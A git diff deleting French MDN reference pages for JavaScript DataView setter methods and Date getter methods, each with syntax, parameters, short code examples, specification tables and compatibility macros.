{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setInt32

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setInt32(1, 3);
-dataview.getInt32(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setInt32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html deleted file mode 100644 index cd81ef7718..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: DataView.prototype.setInt8() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setInt8 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt8 ---- -
{{JSRef}}
- -

La méthode setInt8() permet d'enregister un entier signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setint8.html")}}
- - - -

Syntaxe

- -
dataview.setInt8(positionOctet, valeur)
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setInt8

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setInt8(1, 3);
-dataview.getInt8(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setint8', 'DataView.prototype.setInt8')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setInt8")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html deleted file mode 100644 index a6375403c4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setUint16() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint16 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint16 ---- -
{{JSRef}}
- -

La méthode setUint16() permet d'enregister un entier non-signé sur 16 bits (type unsigned short par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setuint16.html")}}
- - - -

Syntaxe

- -
dataview.setUint16(positionOctet, valeur [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setUint1

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setUint16(1, 3);
-dataview.getUint16(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint16', 'DataView.prototype.setUint16')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setUint16")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html deleted file mode 100644 index c4ef087803..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: DataView.prototype.setUint32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint32 ---- -
{{JSRef}}
- -

La méthode setUint32() permet d'enregister un entier non-signé sur 32 bits (type unsigned long par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setuint32.html")}}
- - - -

Syntaxe

- -
dataview.setUint32(positionOctet, valeur [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer
-
littleEndian
-
{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut false ou undefined, l'ordre sera celui des octets de poids forts.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setUint32

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setUint32(1, 3);
-dataview.getUint32(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015 (ES6).
{{SpecName('ES2015', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint32', 'DataView.prototype.setUint32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setUint32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html deleted file mode 100644 index 1e4abcb153..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: DataView.prototype.setUint8() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/setUint8 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setUint8 ---- -
{{JSRef}}
- -

La méthode setUint8() permet d'enregister un entier non-signé sur 8 bits à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-setuint8.html")}}
- - - -

Syntaxe

- -
dataview.setUint8(positionOctet, valeur)
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.
-
valeur
-
La valeur à enregistrer.
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel que l'enregistrement sera fait en dehors de la vue.
-
- -

Exemples

- -

Utilisation de la méthode setUint8

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.setUint8(1, 3);
-dataview.getUint8(1); // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.setuint8', 'DataView.prototype.setUint8')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.setUint8")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html deleted file mode 100644 index e3ded8eeb1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: 'Date.prototype[@@toPrimitive]' -slug: Web/JavaScript/Reference/Objets_globaux/Date/@@toPrimitive -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive ---- -
{{JSRef}}
- -

La méthode [@@toPrimitive]() permet de convertir un objet Date en une valeur primitive.

- -

Syntaxe

- -
Date()[Symbol.toPrimitive](hint);
-
- -

Valeur de retour

- -

La valeur primitive de l'objet {{jsxref("Date")}}. Selon la valeur de l'argument, la méthode peut renvoyer une chaîne de caractères ou un nombre.

- -

Description

- -

La méthode [@@toPrimitive]() de {{jsxref("Date")}} renvoie une valeur primitive qui est un nombre ou une chaîne de caractère.

- -

Si le paramètre hint vaut "string" ou "default", [@@toPrimitive]() tentera d'appeler la méthode {{jsxref("Object.prototype.toString()", "toString")}}, si la propriété toString() n'existe pas, elle tentera alors d'appeler la méthode {{jsxref("Object.prototype.valueOf()", "valueOf")}}, si cette dernière n'existe pas non plus, [@@toPrimitive]() lèvera une exception {{jsxref("TypeError")}}.

- -

Si le paramètre hint vaut "number", [@@toPrimitive]() tentera d'abord un appel à valueOf() puis ensuite un appel à toString().

- -

Le moteur JavaScript appelle la méthode [@@toPrimitive]() afin de convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler [@@toPrimitive]() explicitement dans son propre code, le moteur JavaScript l'utilisera automatiquement lorsqu'il détectera un objet là où une valeur primitive est attendue.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-date.prototype-@@toprimitive', 'Date.prototype.@@toPrimitive')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.@@toPrimitive")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.toPrimitive")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html deleted file mode 100644 index 571cd6f347..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Date.prototype.getDate() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getDate -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate ---- -
{{JSRef}}
- -

La méthode getDate() retourne le jour du mois pour la date spécifiée d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-getdate.html")}}
- - - -

Syntaxe

- -
dateObj.getDate()
- -

Paramètres

- -

Aucun.

- -

Valeur de retour

- -

Un entier entre 1 et 31 correspondant au jour du mois de la date indiquée selon l'heure locale.

- -

Exemples

- -

Utiliser getDate()

- -

La seconde instruction ci-dessous affecte la valeur 25 à la variable jour, d'après la valeur de l'objet {{jsxref("Date")}} Noel95.

- -
var Noel95 = new Date("December 25, 1995 23:15:00");
-var jour = Noel95.getDate();
-
-console.log(jour); // 25
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getDate")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • -
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • -
  • {{jsxref("Date.prototype.setDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html deleted file mode 100644 index 08457eaade..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Date.prototype.getDay() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getDay -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay ---- -
{{JSRef}}
- -

La méthode getDay() renvoie le jour de la semaine pour la date spécifiée selon l'heure locale (0 correspondant à dimanche). Pour obtenir le jour du mois, on utilisera {{jsxref("Date.prototype.getDate()")}}.

- -
{{EmbedInteractiveExample("pages/js/date-getday.html")}}
- - - -

Syntaxe

- -
dateObj.getDay()
- -

Valeur de retour

- -

Un entier correspondant au jour de la semaine (0 correspondant à dimanche, 1 à lundi, 2 à mardi et ainsi de suite) de la date indiquée selon l'heure locale.

- -

Exemples

- -

Utiliser getDay()

- -

La seconde instruction ci-dessous assigne la valeur 1 à jourSemaine, selon la valeur de l'objet Date noel95. Le 25 décembre 1995 est un lundi.

- -
var noel95 = new Date("December 25, 1995 23:15:00");
-var jourSemaine = noel95.getDay();
-
-console.log(jourSemaine); //1
-
- -
-

Note : Si besoin, on pourra obtenir le nom complet du jour ("lundi" par exemple) en utilisant la méthode {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} avec un paramètre options. Ce faisant, il est plus simple d'internationaliser un site ou une application :

- -
var options = { weekday: 'long'};
-console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
-// Monday
-console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
-// Montag
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getDay")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • -
  • {{jsxref("Date.prototype.getUTCDay()")}}
    • -
  • {{jsxref("Date.prototype.setDate()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html deleted file mode 100644 index a6ffdb03e6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Date.prototype.getFullYear() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getFullYear -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear ---- -
{{JSRef}}
- -

La méthode getFullYear() renvoie l'année de la date renseignée d'après l'heure locale.

- -

Cette méthode doit être utilisée à la place de {{jsxref("Date.prototype.getYear()", "getYear()")}}.

- -
{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}
- - - -

Syntaxe

- -
dateObj.getFullYear()
- -

Valeur de retour

- -

Un entier correspondant à l'année de la date selon l'heure locale.

- -

Exemples

- -

Utiliser getFullYear()

- -

L'exemple qui suit assigne la valeur à quatre chiffres de l'année courante à la variable année.

- -
var aujd = new Date();
-var année = aujd.getFullYear();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getFullYear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • -
  • {{jsxref("Date.prototype.setFullYear()")}}
    • -
  • {{jsxref("Date.prototype.getYear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html deleted file mode 100644 index e4bb2c3e21..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Date.prototype.getHours() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getHours -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours ---- -
{{JSRef}}
- -

La méthode getHours() renvoie l'heure pour la date renseignée, d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-gethours.html")}}
- - - -

Syntaxe

- -
dateObj.getHours()
- -

Valeur de retour

- -

Un entier, compris entre 0 et 23 qui indique l'heure de la date indiquée selon l'heure locale.

- -

Exemples

- -

Utiliser getHours()

- -

La seconde instruction ci-dessous assigne la valeur 23 à la variable heure, selon la valeur de l'objet {{jsxref("Date")}} noel95.

- -
var noel95 = new Date("December 25, 1995 23:15:00");
-var heure = noel95.getHours();
-
-console.log(heure); //23
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getHours")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCHours()")}}
    • -
  • {{jsxref("Date.prototype.setHours()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html deleted file mode 100644 index 15b30f7d9c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Date.prototype.getMilliseconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getMilliseconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds ---- -
{{JSRef}}
- -

La méthode getMilliseconds() renvoie les millièmes de secondes de la date renseignée d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}
- - - -

Syntaxe

- -
dateObj.getMilliseconds()
- -

Valeur de retour

- -

Un nombre entre 0 et 999 indiquant le nombre de millisecondes pour la date indiquée, selon l'heure locale.

- -

Exemples

- -

Utiliser getMilliseconds()

- -

L'exemple suivant assigne la partie des millièmes de secondes de l'heure courante à la variable ms.

- -
var aujd = new Date();
-var ms = aujd.getMilliseconds();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getMilliseconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMilliseconds()")}}
    • -
  • {{jsxref("Date.prototype.setMilliseconds()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html deleted file mode 100644 index 42b2e04b2c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Date.prototype.getMinutes() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getMinutes -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes ---- -
{{JSRef}}
- -

La méthode getMinutes() renvoie les minutes pour la date renseignée d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}
- - - -

Syntaxe

- -
dateObj.getMinutes()
- -

Valeur de retour

- -

La valeur renvoyée par getMinutes est un entier entre 0 et 59 représentant le nombre de minutes pour la date indiquée, selon l'heure locale.

- -

Exemples

- -

Utiliser getMinutes()

- -

La seconde instruction ci-dessous assigne la valeur 15 à la variable minutes, selon la valeur de l'objet {{jsxref("Date")}} noel95.

- -
var noel95 = new Date("December 25, 1995 23:15:00");
-var minutes = noel95.getMinutes();
-
-console.log(minutes); //15
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
{{CompatibilityTable}}
- - - -

{{Compat("javascript.builtins.Date.getMinutes")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMinutes()")}}
    • -
  • {{jsxref("Date.prototype.setMinutes()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html deleted file mode 100644 index d1c96b3c48..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Date.prototype.getMonth() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getMonth -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth ---- -
{{JSRef}}
- -

La méthode getMonth() retourne le mois de la date renseignée d'après l'heure locale. La numérotation démarre à 0 (c'est-à-dire que 0 correspond au premier mois de l'année).

- -
{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}
- - - -

Syntaxe

- -
dateObj.getMonth()
- -

Valeur de retour

- -

Un entier entre 0 et 11 selon le mois de la date indiquée et d'après l'heure locale (0 correspond à janvier, 1 à février, et ainsi de suite).

- -

Exemples

- -

Utiliser getMonth()

- -

La seconde instruction ci-dessous assigne la valeur 11 à la variable mois, d'après la valeur de l'objet {{jsxref("Date")}} noel95.

- -
var noel95 = new Date("December 25, 1995 23:15:00");
-var mois = noel95.getMonth();
-
-console.log(mois); //11
-
- -
-

Note : Si besoin, on pourra récupérer le nom complet du mois ("Janvier" par exemple) en utilisant Intl.DateTimeFormat() avec un paramètre options. En utilisant cette méthode, il est plus simple d'internationaliser le site ou l'application :

- -
var options = { month: 'long'};
-console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
-// December
-console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
-// Dezember
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getMonth")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCMonth()")}}
    • -
  • {{jsxref("Date.prototype.setMonth()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html deleted file mode 100644 index 1d6ed36ad0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Date.prototype.getSeconds() -slug: Web/JavaScript/Reference/Objets_globaux/Date/getSeconds -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds ---- -
{{JSRef}}
- -

La méthode getSeconds() renvoie les secondes pour la date renseignée d'après l'heure locale.

- -
{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}
- - - -

Syntaxe

- -
dateObj.getSeconds()
- -

Valeur de retour

- -

La valeur renvoyée par getSeconds() est un entier entre 0 et 59 correspondant au nombre de secondes pour la date donnée selon l'heure locale.

- -

Exemples

- -

Utiliser getSeconds()

- -

La seconde instruction ci-dessous assigne la valeur 30 à la variable secondes, selon la valeur de l'objet {{jsxref("Date")}} noel95.

- -
var noel95 = new Date("December 25, 1995 23:15:30");
-var secondes = noel95.getSeconds();
-
-console.log(secondes); //30
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.getSeconds")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.getUTCSeconds()")}}
    • -
